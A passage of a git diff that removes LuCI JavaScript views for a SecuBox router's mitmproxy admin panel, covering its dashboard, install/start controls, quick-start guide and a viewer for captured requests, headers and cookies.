||||
}, '⬇ Download') : null
|
||||
]),
|
||||
E('div', { 'style': 'margin-top: 16px; padding: 16px; background: rgba(255,255,255,0.02); border-radius: 8px; font-size: 13px; color: var(--mp-text-muted)' }, [
|
||||
E('p', { 'style': 'margin: 0 0 8px 0' }, [
|
||||
E('strong', {}, 'HTTPS Interception: '),
|
||||
'To inspect encrypted traffic, install the mitmproxy CA certificate on client devices.'
|
||||
]),
|
||||
E('p', { 'style': 'margin: 0' }, [
|
||||
'Access ',
|
||||
E('code', {}, 'http://mitm.it'),
|
||||
' from any proxied device to download the certificate.'
|
||||
])
|
||||
])
|
||||
])
|
||||
])
|
||||
]),
|
||||
|
||||
// Configuration Summary
|
||||
E('div', { 'class': 'mp-card' }, [
|
||||
E('div', { 'class': 'mp-card-header' }, [
|
||||
E('div', { 'class': 'mp-card-title' }, [
|
||||
E('span', { 'class': 'mp-card-title-icon' }, '⚙️'),
|
||||
'Configuration'
|
||||
]),
|
||||
E('a', {
|
||||
'href': L.url('admin', 'secubox', 'mitmproxy', 'settings'),
|
||||
'class': 'mp-btn'
|
||||
}, '✏ Edit')
|
||||
]),
|
||||
E('div', { 'class': 'mp-card-body' }, [
|
||||
E('div', { 'style': 'display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 16px;' }, [
|
||||
E('div', {}, [
|
||||
E('div', { 'style': 'color: var(--mp-text-muted); font-size: 12px; text-transform: uppercase; margin-bottom: 4px' }, 'Mode'),
|
||||
E('div', { 'style': 'font-weight: 500' }, config.mode || 'transparent')
|
||||
]),
|
||||
E('div', {}, [
|
||||
E('div', { 'style': 'color: var(--mp-text-muted); font-size: 12px; text-transform: uppercase; margin-bottom: 4px' }, 'Proxy Port'),
|
||||
E('div', { 'style': 'font-weight: 500' }, (config.listen_host || '0.0.0.0') + ':' + (config.listen_port || 8080))
|
||||
]),
|
||||
E('div', {}, [
|
||||
E('div', { 'style': 'color: var(--mp-text-muted); font-size: 12px; text-transform: uppercase; margin-bottom: 4px' }, 'Web UI Port'),
|
||||
E('div', { 'style': 'font-weight: 500' }, (config.web_host || '0.0.0.0') + ':' + (config.web_port || 8081))
|
||||
]),
|
||||
E('div', {}, [
|
||||
E('div', { 'style': 'color: var(--mp-text-muted); font-size: 12px; text-transform: uppercase; margin-bottom: 4px' }, 'Capture'),
|
||||
E('div', { 'style': 'font-weight: 500' }, [
|
||||
config.capture_urls ? 'URLs ' : '',
|
||||
config.capture_cookies ? 'Cookies ' : '',
|
||||
config.capture_headers ? 'Headers ' : ''
|
||||
].filter(Boolean).join(', ') || 'Disabled')
|
||||
])
|
||||
])
|
||||
])
|
||||
])
|
||||
]);
|
||||
|
||||
// Start polling
|
||||
this.startPolling();
|
||||
|
||||
var wrapper = E('div', { 'class': 'secubox-page-wrapper' });
|
||||
wrapper.appendChild(SbHeader.render());
|
||||
wrapper.appendChild(renderMitmproxyNav('dashboard'));
|
||||
wrapper.appendChild(view);
|
||||
return wrapper;
|
||||
},
|
||||
|
||||
handleSaveApply: null,
|
||||
handleSave: null,
|
||||
handleReset: null
|
||||
});
|
||||
@ -1,375 +0,0 @@
|
||||
'use strict';
|
||||
'require view';
|
||||
'require ui';
|
||||
'require rpc';
|
||||
|
||||
var callStatus = rpc.declare({ object: 'luci.mitmproxy', method: 'status', expect: {} });
|
||||
var callInstall = rpc.declare({ object: 'luci.mitmproxy', method: 'install', expect: {} });
|
||||
var callStart = rpc.declare({ object: 'luci.mitmproxy', method: 'start', expect: {} });
|
||||
var callStop = rpc.declare({ object: 'luci.mitmproxy', method: 'stop', expect: {} });
|
||||
var callRestart = rpc.declare({ object: 'luci.mitmproxy', method: 'restart', expect: {} });
|
||||
|
||||
var css = [
|
||||
':root { --mp-primary: #e74c3c; --mp-primary-light: #ec7063; --mp-secondary: #3498db; --mp-success: #27ae60; --mp-warning: #f39c12; --mp-danger: #c0392b; --mp-bg: #0d0d12; --mp-card: #141419; --mp-border: rgba(255,255,255,0.08); --mp-text: #e0e0e8; --mp-muted: #8a8a9a; }',
|
||||
'.mp-overview { max-width: 1000px; margin: 0 auto; padding: 20px; font-family: system-ui, -apple-system, sans-serif; color: var(--mp-text); }',
|
||||
|
||||
/* Header */
|
||||
'.mp-header { display: flex; justify-content: space-between; align-items: center; padding: 24px; background: linear-gradient(135deg, #e74c3c 0%, #c0392b 100%); border-radius: 16px; color: #fff; margin-bottom: 24px; }',
|
||||
'.mp-header-left { display: flex; align-items: center; gap: 16px; }',
|
||||
'.mp-logo { font-size: 48px; }',
|
||||
'.mp-title { font-size: 28px; font-weight: 700; margin: 0; }',
|
||||
'.mp-subtitle { font-size: 14px; opacity: 0.9; margin-top: 4px; }',
|
||||
'.mp-status { display: flex; align-items: center; gap: 8px; padding: 8px 16px; border-radius: 20px; font-size: 14px; font-weight: 500; }',
|
||||
'.mp-status.running { background: rgba(39,174,96,0.3); }',
|
||||
'.mp-status.stopped { background: rgba(239,68,68,0.3); }',
|
||||
'.mp-dot { width: 10px; height: 10px; border-radius: 50%; animation: pulse 2s infinite; }',
|
||||
'.mp-status.running .mp-dot { background: #27ae60; }',
|
||||
'.mp-status.stopped .mp-dot { background: #ef4444; }',
|
||||
'@keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } }',
|
||||
|
||||
/* Welcome Banner - shown when not installed/running */
|
||||
'.mp-welcome { text-align: center; padding: 60px 40px; background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 16px; margin-bottom: 24px; }',
|
||||
'.mp-welcome-icon { font-size: 80px; margin-bottom: 20px; }',
|
||||
'.mp-welcome h2 { font-size: 28px; margin: 0 0 12px 0; color: #fff; }',
|
||||
'.mp-welcome p { font-size: 16px; color: var(--mp-muted); margin: 0 0 30px 0; max-width: 600px; margin-left: auto; margin-right: auto; }',
|
||||
'.mp-welcome-note { background: rgba(231,76,60,0.1); border: 1px solid rgba(231,76,60,0.3); border-radius: 12px; padding: 16px; margin-top: 24px; font-size: 14px; color: #ec7063; }',
|
||||
|
||||
/* Mode Cards */
|
||||
'.mp-modes { display: grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap: 16px; margin-bottom: 24px; }',
|
||||
'.mp-mode-card { background: var(--mp-card); border: 2px solid var(--mp-border); border-radius: 16px; padding: 24px; text-align: center; cursor: pointer; transition: all 0.3s; }',
|
||||
'.mp-mode-card:hover { border-color: var(--mp-primary); transform: translateY(-4px); box-shadow: 0 8px 32px rgba(231,76,60,0.2); }',
|
||||
'.mp-mode-card.recommended { border-color: var(--mp-primary); background: linear-gradient(180deg, rgba(231,76,60,0.1) 0%, transparent 100%); }',
|
||||
'.mp-mode-icon { font-size: 48px; margin-bottom: 16px; }',
|
||||
'.mp-mode-title { font-size: 18px; font-weight: 600; color: #fff; margin-bottom: 8px; }',
|
||||
'.mp-mode-desc { font-size: 13px; color: var(--mp-muted); line-height: 1.5; }',
|
||||
'.mp-mode-badge { display: inline-block; background: var(--mp-primary); color: #fff; font-size: 11px; padding: 4px 10px; border-radius: 12px; margin-top: 12px; text-transform: uppercase; font-weight: 600; }',
|
||||
|
||||
/* Feature Grid */
|
||||
'.mp-features { display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); gap: 12px; margin-bottom: 24px; }',
|
||||
'.mp-feature { display: flex; align-items: center; gap: 12px; padding: 16px; background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 12px; }',
|
||||
'.mp-feature-icon { font-size: 24px; }',
|
||||
'.mp-feature-text { font-size: 14px; color: var(--mp-text); }',
|
||||
|
||||
/* Quick Actions */
|
||||
'.mp-actions { display: flex; gap: 12px; flex-wrap: wrap; justify-content: center; margin-bottom: 24px; }',
|
||||
'.mp-btn { display: inline-flex; align-items: center; gap: 8px; padding: 14px 28px; border-radius: 12px; border: none; cursor: pointer; font-size: 15px; font-weight: 600; transition: all 0.2s; text-decoration: none; }',
|
||||
'.mp-btn:hover:not(:disabled) { transform: translateY(-2px); box-shadow: 0 4px 16px rgba(0,0,0,0.3); }',
|
||||
'.mp-btn:disabled { opacity: 0.5; cursor: not-allowed; }',
|
||||
'.mp-btn-primary { background: linear-gradient(135deg, #e74c3c, #c0392b); color: #fff; }',
|
||||
'.mp-btn-success { background: linear-gradient(135deg, #27ae60, #1e8449); color: #fff; }',
|
||||
'.mp-btn-danger { background: linear-gradient(135deg, #e74c3c, #c0392b); color: #fff; }',
|
||||
'.mp-btn-secondary { background: rgba(255,255,255,0.1); color: var(--mp-text); border: 1px solid var(--mp-border); }',
|
||||
|
||||
/* Quick Start Card */
|
||||
'.mp-quickstart { background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 16px; padding: 24px; margin-bottom: 24px; }',
|
||||
'.mp-quickstart-header { display: flex; align-items: center; gap: 12px; margin-bottom: 20px; }',
|
||||
'.mp-quickstart-icon { font-size: 28px; }',
|
||||
'.mp-quickstart-title { font-size: 20px; font-weight: 600; color: #fff; }',
|
||||
'.mp-quickstart-steps { display: flex; flex-direction: column; gap: 16px; }',
|
||||
'.mp-step { display: flex; gap: 16px; align-items: flex-start; }',
|
||||
'.mp-step-num { width: 32px; height: 32px; background: var(--mp-primary); color: #fff; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-weight: 600; font-size: 14px; flex-shrink: 0; }',
|
||||
'.mp-step-content h4 { margin: 0 0 4px 0; font-size: 15px; color: #fff; }',
|
||||
'.mp-step-content p { margin: 0; font-size: 13px; color: var(--mp-muted); }',
|
||||
|
||||
/* Info Cards */
|
||||
'.mp-info-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 16px; margin-bottom: 24px; }',
|
||||
'.mp-info-card { background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 12px; padding: 20px; }',
|
||||
'.mp-info-header { display: flex; align-items: center; gap: 10px; margin-bottom: 12px; }',
|
||||
'.mp-info-icon { font-size: 24px; }',
|
||||
'.mp-info-title { font-size: 16px; font-weight: 600; color: #fff; }',
|
||||
'.mp-info-value { font-size: 24px; font-weight: 700; color: var(--mp-primary); }',
|
||||
'.mp-info-label { font-size: 13px; color: var(--mp-muted); }',
|
||||
|
||||
/* How It Works */
|
||||
'.mp-howto { background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 16px; padding: 24px; }',
|
||||
'.mp-howto-header { display: flex; align-items: center; gap: 12px; margin-bottom: 20px; }',
|
||||
'.mp-howto-icon { font-size: 28px; }',
|
||||
'.mp-howto-title { font-size: 20px; font-weight: 600; color: #fff; }',
|
||||
'.mp-howto-diagram { background: rgba(0,0,0,0.3); border-radius: 12px; padding: 20px; font-family: monospace; font-size: 13px; line-height: 1.6; overflow-x: auto; }',
|
||||
'.mp-howto-diagram pre { margin: 0; color: var(--mp-text); }'
|
||||
].join('\n');
|
||||
|
||||
return view.extend({
|
||||
load: function() { return callStatus(); },
|
||||
|
||||
handleInstall: function() {
|
||||
ui.showModal(_('Installing mitmproxy'), [
|
||||
E('p', { 'class': 'spinning' }, _('Downloading and setting up mitmproxy container...')),
|
||||
E('p', { 'style': 'color: #888; font-size: 13px;' }, _('This may take a few minutes on first install.'))
|
||||
]);
|
||||
callInstall().then(function(r) {
|
||||
ui.hideModal();
|
||||
ui.addNotification(null, E('p', r.message || _('Installation started. Please wait and refresh the page.')));
|
||||
}).catch(function(e) { ui.hideModal(); ui.addNotification(null, E('p', e.message), 'error'); });
|
||||
},
|
||||
|
||||
handleStart: function() {
|
||||
ui.showModal(_('Starting mitmproxy'), [E('p', { 'class': 'spinning' }, _('Starting proxy service...'))]);
|
||||
callStart().then(function() { ui.hideModal(); location.reload(); })
|
||||
.catch(function(e) { ui.hideModal(); ui.addNotification(null, E('p', e.message), 'error'); });
|
||||
},
|
||||
|
||||
handleStop: function() {
|
||||
ui.showModal(_('Stopping mitmproxy'), [E('p', { 'class': 'spinning' }, _('Stopping proxy service...'))]);
|
||||
callStop().then(function() { ui.hideModal(); location.reload(); })
|
||||
.catch(function(e) { ui.hideModal(); ui.addNotification(null, E('p', e.message), 'error'); });
|
||||
},
|
||||
|
||||
render: function(status) {
|
||||
if (!document.getElementById('mp-overview-styles')) {
|
||||
var s = document.createElement('style');
|
||||
s.id = 'mp-overview-styles';
|
||||
s.textContent = css;
|
||||
document.head.appendChild(s);
|
||||
}
|
||||
|
||||
var isInstalled = status.installed && status.docker_available;
|
||||
var isRunning = status.running;
|
||||
|
||||
// Not installed - show welcome wizard
|
||||
if (!isInstalled) {
|
||||
return E('div', { 'class': 'mp-overview' }, [
|
||||
// Header
|
||||
E('div', { 'class': 'mp-header' }, [
|
||||
E('div', { 'class': 'mp-header-left' }, [
|
||||
E('div', { 'class': 'mp-logo' }, '🔐'),
|
||||
E('div', {}, [
|
||||
E('h1', { 'class': 'mp-title' }, 'mitmproxy'),
|
||||
E('div', { 'class': 'mp-subtitle' }, _('HTTPS Interception Proxy'))
|
||||
])
|
||||
]),
|
||||
E('div', { 'class': 'mp-status stopped' }, [
|
||||
E('span', { 'class': 'mp-dot' }),
|
||||
_('Not Installed')
|
||||
])
|
||||
]),
|
||||
|
||||
// Welcome Banner
|
||||
E('div', { 'class': 'mp-welcome' }, [
|
||||
E('div', { 'class': 'mp-welcome-icon' }, '🔍'),
|
||||
E('h2', {}, _('Intercept & Analyze Network Traffic')),
|
||||
E('p', {}, _('mitmproxy is a powerful interactive HTTPS proxy that lets you inspect, modify, and replay HTTP/HTTPS traffic. Perfect for debugging APIs, testing applications, and security analysis.')),
|
||||
|
||||
// Features Grid
|
||||
E('div', { 'class': 'mp-features', 'style': 'margin-bottom: 30px;' }, [
|
||||
E('div', { 'class': 'mp-feature' }, [
|
||||
E('span', { 'class': 'mp-feature-icon' }, '📊'),
|
||||
E('span', { 'class': 'mp-feature-text' }, _('Real-time inspection'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-feature' }, [
|
||||
E('span', { 'class': 'mp-feature-icon' }, '🔒'),
|
||||
E('span', { 'class': 'mp-feature-text' }, _('HTTPS decryption'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-feature' }, [
|
||||
E('span', { 'class': 'mp-feature-icon' }, '🖥️'),
|
||||
E('span', { 'class': 'mp-feature-text' }, _('Web-based UI'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-feature' }, [
|
||||
E('span', { 'class': 'mp-feature-icon' }, '🎭'),
|
||||
E('span', { 'class': 'mp-feature-text' }, _('Transparent mode'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-feature' }, [
|
||||
E('span', { 'class': 'mp-feature-icon' }, '🔄'),
|
||||
E('span', { 'class': 'mp-feature-text' }, _('Request replay'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-feature' }, [
|
||||
E('span', { 'class': 'mp-feature-icon' }, '📝'),
|
||||
E('span', { 'class': 'mp-feature-text' }, _('Flow logging'))
|
||||
])
|
||||
]),
|
||||
|
||||
!status.docker_available ?
|
||||
E('div', { 'style': 'color: #ef4444; margin-bottom: 20px;' }, [
|
||||
E('span', { 'style': 'font-size: 24px;' }, '⚠️ '),
|
||||
_('Docker is required but not available')
|
||||
]) : null,
|
||||
|
||||
E('button', {
|
||||
'class': 'mp-btn mp-btn-primary',
|
||||
'click': ui.createHandlerFn(this, 'handleInstall'),
|
||||
'disabled': !status.docker_available
|
||||
}, ['📦 ', _('Install mitmproxy')]),
|
||||
|
||||
E('div', { 'class': 'mp-welcome-note' }, [
|
||||
'⚠️ ',
|
||||
_('Security Note: mitmproxy is a powerful security analysis tool. Only use for legitimate debugging, testing, and security research purposes.')
|
||||
])
|
||||
]),
|
||||
|
||||
// Proxy Modes
|
||||
E('h3', { 'style': 'margin: 0 0 16px 0; font-size: 18px; color: #fff;' }, '🎯 ' + _('Proxy Modes')),
|
||||
E('div', { 'class': 'mp-modes' }, [
|
||||
E('div', { 'class': 'mp-mode-card' }, [
|
||||
E('div', { 'class': 'mp-mode-icon' }, '🎯'),
|
||||
E('div', { 'class': 'mp-mode-title' }, _('Regular Proxy')),
|
||||
E('div', { 'class': 'mp-mode-desc' }, _('Configure clients to use the proxy manually. Best for testing specific applications.'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-mode-card recommended' }, [
|
||||
E('div', { 'class': 'mp-mode-icon' }, '🎭'),
|
||||
E('div', { 'class': 'mp-mode-title' }, _('Transparent Mode')),
|
||||
E('div', { 'class': 'mp-mode-desc' }, _('Intercept all network traffic automatically via firewall rules.')),
|
||||
E('span', { 'class': 'mp-mode-badge' }, _('Recommended'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-mode-card' }, [
|
||||
E('div', { 'class': 'mp-mode-icon' }, '⬆️'),
|
||||
E('div', { 'class': 'mp-mode-title' }, _('Upstream Proxy')),
|
||||
E('div', { 'class': 'mp-mode-desc' }, _('Forward traffic to another proxy server for proxy chaining.'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-mode-card' }, [
|
||||
E('div', { 'class': 'mp-mode-icon' }, '⬇️'),
|
||||
E('div', { 'class': 'mp-mode-title' }, _('Reverse Proxy')),
|
||||
E('div', { 'class': 'mp-mode-desc' }, _('Act as a reverse proxy to inspect backend server traffic.'))
|
||||
])
|
||||
])
|
||||
]);
|
||||
}
|
||||
|
||||
// Installed - show dashboard overview
|
||||
return E('div', { 'class': 'mp-overview' }, [
|
||||
// Header
|
||||
E('div', { 'class': 'mp-header' }, [
|
||||
E('div', { 'class': 'mp-header-left' }, [
|
||||
E('div', { 'class': 'mp-logo' }, '🔐'),
|
||||
E('div', {}, [
|
||||
E('h1', { 'class': 'mp-title' }, 'mitmproxy'),
|
||||
E('div', { 'class': 'mp-subtitle' }, _('HTTPS Interception Proxy'))
|
||||
])
|
||||
]),
|
||||
E('div', { 'class': 'mp-status ' + (isRunning ? 'running' : 'stopped') }, [
|
||||
E('span', { 'class': 'mp-dot' }),
|
||||
isRunning ? _('Running') : _('Stopped')
|
||||
])
|
||||
]),
|
||||
|
||||
// Quick Actions
|
||||
E('div', { 'class': 'mp-actions' }, [
|
||||
isRunning ? E('button', {
|
||||
'class': 'mp-btn mp-btn-danger',
|
||||
'click': ui.createHandlerFn(this, 'handleStop')
|
||||
}, ['⏹ ', _('Stop Proxy')]) :
|
||||
E('button', {
|
||||
'class': 'mp-btn mp-btn-success',
|
||||
'click': ui.createHandlerFn(this, 'handleStart')
|
||||
}, ['▶️ ', _('Start Proxy')]),
|
||||
|
||||
E('a', {
|
||||
'class': 'mp-btn mp-btn-primary',
|
||||
'href': L.url('admin', 'secubox', 'security', 'mitmproxy', 'dashboard')
|
||||
}, ['📊 ', _('Dashboard')]),
|
||||
|
||||
E('a', {
|
||||
'class': 'mp-btn mp-btn-secondary',
|
||||
'href': 'http://' + window.location.hostname + ':' + (status.web_port || 8081),
|
||||
'target': '_blank'
|
||||
}, ['🖥️ ', _('Web UI')]),
|
||||
|
||||
E('a', {
|
||||
'class': 'mp-btn mp-btn-secondary',
|
||||
'href': L.url('admin', 'secubox', 'security', 'mitmproxy', 'settings')
|
||||
}, ['⚙️ ', _('Settings')])
|
||||
]),
|
||||
|
||||
// Info Cards
|
||||
E('div', { 'class': 'mp-info-grid' }, [
|
||||
E('div', { 'class': 'mp-info-card' }, [
|
||||
E('div', { 'class': 'mp-info-header' }, [
|
||||
E('span', { 'class': 'mp-info-icon' }, '🔌'),
|
||||
E('span', { 'class': 'mp-info-title' }, _('Proxy Port'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-info-value' }, String(status.proxy_port || 8080)),
|
||||
E('div', { 'class': 'mp-info-label' }, _('HTTP/HTTPS interception'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-info-card' }, [
|
||||
E('div', { 'class': 'mp-info-header' }, [
|
||||
E('span', { 'class': 'mp-info-icon' }, '🖥️'),
|
||||
E('span', { 'class': 'mp-info-title' }, _('Web UI Port'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-info-value' }, String(status.web_port || 8081)),
|
||||
E('div', { 'class': 'mp-info-label' }, _('mitmweb interface'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-info-card' }, [
|
||||
E('div', { 'class': 'mp-info-header' }, [
|
||||
E('span', { 'class': 'mp-info-icon' }, '💾'),
|
||||
E('span', { 'class': 'mp-info-title' }, _('Data Path'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-info-value', 'style': 'font-size: 14px; word-break: break-all;' }, status.data_path || '/srv/mitmproxy'),
|
||||
E('div', { 'class': 'mp-info-label' }, _('Certificates & flows'))
|
||||
])
|
||||
]),
|
||||
|
||||
// Quick Start Guide
|
||||
E('div', { 'class': 'mp-quickstart' }, [
|
||||
E('div', { 'class': 'mp-quickstart-header' }, [
|
||||
E('span', { 'class': 'mp-quickstart-icon' }, '🚀'),
|
||||
E('span', { 'class': 'mp-quickstart-title' }, _('Quick Start Guide'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-quickstart-steps' }, [
|
||||
E('div', { 'class': 'mp-step' }, [
|
||||
E('div', { 'class': 'mp-step-num' }, '1'),
|
||||
E('div', { 'class': 'mp-step-content' }, [
|
||||
E('h4', {}, _('Start the Proxy')),
|
||||
E('p', {}, _('Click the Start button above to begin intercepting traffic.'))
|
||||
])
|
||||
]),
|
||||
E('div', { 'class': 'mp-step' }, [
|
||||
E('div', { 'class': 'mp-step-num' }, '2'),
|
||||
E('div', { 'class': 'mp-step-content' }, [
|
||||
E('h4', {}, _('Install CA Certificate')),
|
||||
E('p', {}, [
|
||||
_('Navigate to '),
|
||||
E('code', { 'style': 'background: rgba(255,255,255,0.1); padding: 2px 6px; border-radius: 4px;' }, 'http://mitm.it'),
|
||||
_(' from a proxied device to download and install the CA certificate.')
|
||||
])
|
||||
])
|
||||
]),
|
||||
E('div', { 'class': 'mp-step' }, [
|
||||
E('div', { 'class': 'mp-step-num' }, '3'),
|
||||
E('div', { 'class': 'mp-step-content' }, [
|
||||
E('h4', {}, _('Configure Clients')),
|
||||
E('p', {}, [
|
||||
_('Set proxy to '),
|
||||
E('code', { 'style': 'background: rgba(255,255,255,0.1); padding: 2px 6px; border-radius: 4px;' }, window.location.hostname + ':' + (status.proxy_port || 8080)),
|
||||
_(' or enable transparent mode in Settings.')
|
||||
])
|
||||
])
|
||||
]),
|
||||
E('div', { 'class': 'mp-step' }, [
|
||||
E('div', { 'class': 'mp-step-num' }, '4'),
|
||||
E('div', { 'class': 'mp-step-content' }, [
|
||||
E('h4', {}, _('View Traffic')),
|
||||
E('p', {}, _('Open the Dashboard or Web UI to see captured requests in real-time.'))
|
||||
])
|
||||
])
|
||||
])
|
||||
]),
|
||||
|
||||
// How It Works Diagram
|
||||
E('div', { 'class': 'mp-howto' }, [
|
||||
E('div', { 'class': 'mp-howto-header' }, [
|
||||
E('span', { 'class': 'mp-howto-icon' }, '📖'),
|
||||
E('span', { 'class': 'mp-howto-title' }, _('How mitmproxy Works'))
|
||||
]),
|
||||
E('div', { 'class': 'mp-howto-diagram' }, [
|
||||
E('pre', {}, [
|
||||
' Client Device SecuBox Router Internet\n',
|
||||
' ┌─────────────┐ ┌──────────────────┐ ┌─────────────┐\n',
|
||||
' │ Browser │─────▶│ mitmproxy │─────▶│ Server │\n',
|
||||
' │ │◀─────│ │◀─────│ │\n',
|
||||
' └─────────────┘ │ 🔍 Inspect │ └─────────────┘\n',
|
||||
' │ ✏️ Modify │\n',
|
||||
' │ 📊 Log │\n',
|
||||
' │ 🔄 Replay │\n',
|
||||
' └──────────────────┘\n',
|
||||
'\n',
|
||||
' Port ' + (status.proxy_port || 8080) + ': HTTP/HTTPS interception\n',
|
||||
' Port ' + (status.web_port || 8081) + ': Web UI (mitmweb)'
|
||||
].join(''))
|
||||
])
|
||||
])
|
||||
]);
|
||||
},
|
||||
|
||||
handleSaveApply: null,
|
||||
handleSave: null,
|
||||
handleReset: null
|
||||
});
|
||||
@ -1,307 +0,0 @@
|
||||
'use strict';
|
||||
'require view';
|
||||
'require poll';
|
||||
'require dom';
|
||||
'require ui';
|
||||
'require mitmproxy/api as api';
|
||||
'require secubox-theme/theme as Theme';
|
||||
'require secubox-portal/header as SbHeader';
|
||||
|
||||
var lang = (typeof L !== 'undefined' && L.env && L.env.lang) ||
|
||||
(document.documentElement && document.documentElement.getAttribute('lang')) ||
|
||||
(navigator.language ? navigator.language.split('-')[0] : 'en');
|
||||
Theme.init({ language: lang });
|
||||
|
||||
var MITMPROXY_NAV = [
|
||||
{ id: 'dashboard', icon: '📊', label: 'Dashboard' },
|
||||
{ id: 'webui', icon: '🖥️', label: 'Web UI' },
|
||||
{ id: 'requests', icon: '🔍', label: 'Requests' },
|
||||
{ id: 'settings', icon: '⚙️', label: 'Settings' }
|
||||
];
|
||||
|
||||
function renderMitmproxyNav(activeId) {
|
||||
return E('div', { 'class': 'mp-app-nav' }, MITMPROXY_NAV.map(function(item) {
|
||||
var isActive = activeId === item.id;
|
||||
return E('a', {
|
||||
'href': L.url('admin', 'secubox', 'security', 'mitmproxy', item.id),
|
||||
'class': isActive ? 'active' : ''
|
||||
}, [
|
||||
E('span', {}, item.icon),
|
||||
E('span', {}, _(item.label))
|
||||
]);
|
||||
}));
|
||||
}
|
||||
|
||||
return view.extend({
|
||||
title: _('mitmproxy Requests'),
|
||||
pollInterval: 3,
|
||||
pollActive: true,
|
||||
|
||||
load: function() {
|
||||
return Promise.all([
|
||||
api.getStatus(),
|
||||
api.getRequests(100)
|
||||
]).then(function(results) {
|
||||
return {
|
||||
status: results[0],
|
||||
requests: results[1]
|
||||
};
|
||||
});
|
||||
},
|
||||
|
||||
getMethodColor: function(method) {
|
||||
var colors = {
|
||||
'GET': '#3498db',
|
||||
'POST': '#27ae60',
|
||||
'PUT': '#f39c12',
|
||||
'DELETE': '#e74c3c',
|
||||
'PATCH': '#9b59b6',
|
||||
'HEAD': '#1abc9c',
|
||||
'OPTIONS': '#95a5a6'
|
||||
};
|
||||
return colors[method] || '#7f8c8d';
|
||||
},
|
||||
|
||||
getStatusColor: function(status) {
|
||||
if (status >= 200 && status < 300) return '#27ae60';
|
||||
if (status >= 300 && status < 400) return '#3498db';
|
||||
if (status >= 400 && status < 500) return '#f39c12';
|
||||
if (status >= 500) return '#e74c3c';
|
||||
return '#95a5a6';
|
||||
},
|
||||
|
||||
updateRequests: function(data) {
|
||||
var requests = (data.requests || {}).requests || [];
|
||||
var container = document.querySelector('.mp-requests-list');
|
||||
if (!container) return;
|
||||
|
||||
if (requests.length === 0) {
|
||||
container.innerHTML = '<div class="mp-empty"><div class="mp-empty-icon">🔍</div><div class="mp-empty-text">No requests captured</div><p>Generate HTTP traffic to see requests</p></div>';
|
||||
return;
|
||||
}
|
||||
|
||||
var self = this;
|
||||
container.innerHTML = '';
|
||||
|
||||
requests.slice(-50).reverse().forEach(function(req) {
|
||||
var request = req.request || req;
|
||||
var response = req.response || {};
|
||||
var method = request.method || 'GET';
|
||||
var host = request.host || request.headers && request.headers.host || 'unknown';
|
||||
var path = request.path || '/';
|
||||
var status = response.status_code || response.status || 0;
|
||||
var contentType = response.headers && (response.headers['content-type'] || response.headers['Content-Type']) || '';
|
||||
|
||||
var item = E('div', { 'class': 'mp-request-item' }, [
|
||||
E('div', { 'class': 'mp-request-method', 'style': 'background:' + self.getMethodColor(method) }, method),
|
||||
E('div', { 'class': 'mp-request-info' }, [
|
||||
E('div', { 'class': 'mp-request-url' }, [
|
||||
E('span', { 'class': 'mp-request-host' }, host),
|
||||
E('span', { 'class': 'mp-request-path' }, path)
|
||||
]),
|
||||
E('div', { 'class': 'mp-request-meta' }, [
|
||||
status ? E('span', { 'class': 'mp-request-status', 'style': 'color:' + self.getStatusColor(status) }, status) : null,
|
||||
contentType ? E('span', {}, contentType.split(';')[0]) : null,
|
||||
req.timestamp ? E('span', {}, new Date(req.timestamp).toLocaleTimeString()) : null
|
||||
].filter(Boolean))
|
||||
]),
|
||||
E('div', { 'class': 'mp-request-actions' }, [
|
||||
E('button', {
|
||||
'class': 'mp-btn-icon',
|
||||
'title': 'View details',
|
||||
'click': function() { self.showRequestDetails(req); }
|
||||
}, '👁')
|
||||
])
|
||||
]);
|
||||
|
||||
container.appendChild(item);
|
||||
});
|
||||
},
|
||||
|
||||
showRequestDetails: function(req) {
|
||||
var request = req.request || req;
|
||||
var response = req.response || {};
|
||||
|
||||
var content = E('div', { 'class': 'mp-request-details' }, [
|
||||
E('h3', {}, 'Request'),
|
||||
E('pre', {}, [
|
||||
(request.method || 'GET') + ' ' + (request.path || '/') + ' HTTP/1.1\n',
|
||||
'Host: ' + (request.host || 'unknown') + '\n',
|
||||
request.headers ? Object.keys(request.headers).map(function(k) {
|
||||
return k + ': ' + request.headers[k];
|
||||
}).join('\n') : ''
|
||||
].join('')),
|
||||
|
||||
response.status_code ? E('h3', {}, 'Response') : null,
|
||||
response.status_code ? E('pre', {}, [
|
||||
'HTTP/1.1 ' + response.status_code + ' ' + (response.reason || '') + '\n',
|
||||
response.headers ? Object.keys(response.headers).map(function(k) {
|
||||
return k + ': ' + response.headers[k];
|
||||
}).join('\n') : ''
|
||||
].join('')) : null,
|
||||
|
||||
request.cookies && Object.keys(request.cookies).length ? E('h3', {}, 'Cookies') : null,
|
||||
request.cookies && Object.keys(request.cookies).length ? E('pre', {},
|
||||
Object.keys(request.cookies).map(function(k) {
|
||||
return k + '=' + request.cookies[k];
|
||||
}).join('\n')
|
||||
) : null
|
||||
].filter(Boolean));
|
||||
|
||||
ui.showModal(_('Request Details'), [
|
||||
content,
|
||||
E('div', { 'class': 'right' }, [
|
||||
E('button', {
|
||||
'class': 'btn',
|
||||
'click': ui.hideModal
|
||||
}, _('Close'))
|
||||
])
|
||||
]);
|
||||
},
|
||||
|
||||
startPolling: function() {
|
||||
var self = this;
|
